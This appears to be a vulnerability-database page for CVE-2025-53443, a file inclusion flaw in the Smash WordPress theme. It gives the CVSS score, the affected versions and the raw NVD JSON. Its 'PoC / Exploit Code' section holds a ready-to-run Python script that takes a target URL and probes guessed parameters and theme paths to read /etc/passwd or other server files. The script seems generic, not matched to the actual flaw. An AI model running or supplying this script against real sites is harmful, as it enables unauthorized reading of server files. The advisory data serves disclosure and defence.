Security Vulnerability Report
中文
CVE-2025-53443 CVSS 8.1 HIGH

CVE-2025-53443

Published: 2025-12-18 08:15:55
Last Modified: 2026-01-20 15:16:57

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Smash smash allows PHP Local File Inclusion.This issue affects Smash: from n/a through <= 1.7.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:smash:*:*:*:*:*:wordpress:*:* - VULNERABLE
Smash Theme <= 1.7
axiomthemes Smash WordPress Theme (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-53443 LFI PoC for Smash WordPress Theme # Target: axiomthemes Smash Theme <= 1.7 def exploit_lfi(target_url, filename='/etc/passwd'): """ Exploit Local File Inclusion vulnerability Args: target_url: Base URL of the WordPress site filename: File to read (default: /etc/passwd) Returns: File contents if successful, None otherwise """ # Common Smash theme LFI parameters params = { 'file': filename, 'template': filename, 'page': filename, 'theme': filename, 'style': filename } for param in params: try: test_params = {param: filename} response = requests.get(target_url, params=test_params, timeout=10) # Check if file content is returned if response.status_code == 200: # Verify we got actual file content if 'root:' in response.text or 'www-data:' in response.text: print(f'[+] SUCCESS: Read {filename} via parameter: {param}') return response.text elif 'root:' in response.text or 'Administrator:' in response.text: print(f'[+] SUCCESS: Read {filename} via parameter: {param}') return response.text except requests.RequestException as e: print(f'[-] Error with parameter {param}: {e}') # Try common Smash theme paths paths = [ '/wp-content/themes/smash/includes/', '/wp-content/themes/smash/framework/', '/wp-content/themes/smash/' ] for path in paths: for param in params: try: payload = f'{path}{filename}' test_params = {param: payload} response = requests.get(target_url, params=test_params, timeout=10) if response.status_code == 200 and ('root:' in response.text or 'www-data:' in response.text): print(f'[+] SUCCESS: Read {filename} via path: {path}') return response.text except requests.RequestException: continue return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url> [filename]') print(f'Example: python {sys.argv[0]} http://example.com /etc/passwd') sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' print(f'[*] Targeting: {target}') print(f'[*] Attempting to read: {file_to_read}') result = exploit_lfi(target, file_to_read) if result: print('\n[+] File Contents:') print(result[:2000]) # Print first 2000 chars else: print('[-] Failed to exploit vulnerability')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53443", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:54.760", "lastModified": "2026-01-20T15:16:57.477", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Smash smash allows PHP Local File Inclusion.This issue affects Smash: from n/a through <= 1.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:smash:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.7", "matchCriteriaId": "2EA5EC08-7FC1-414E-AA29-CEE4207A7806"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/smash/vulnerability/wordpress-smash-theme-1-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}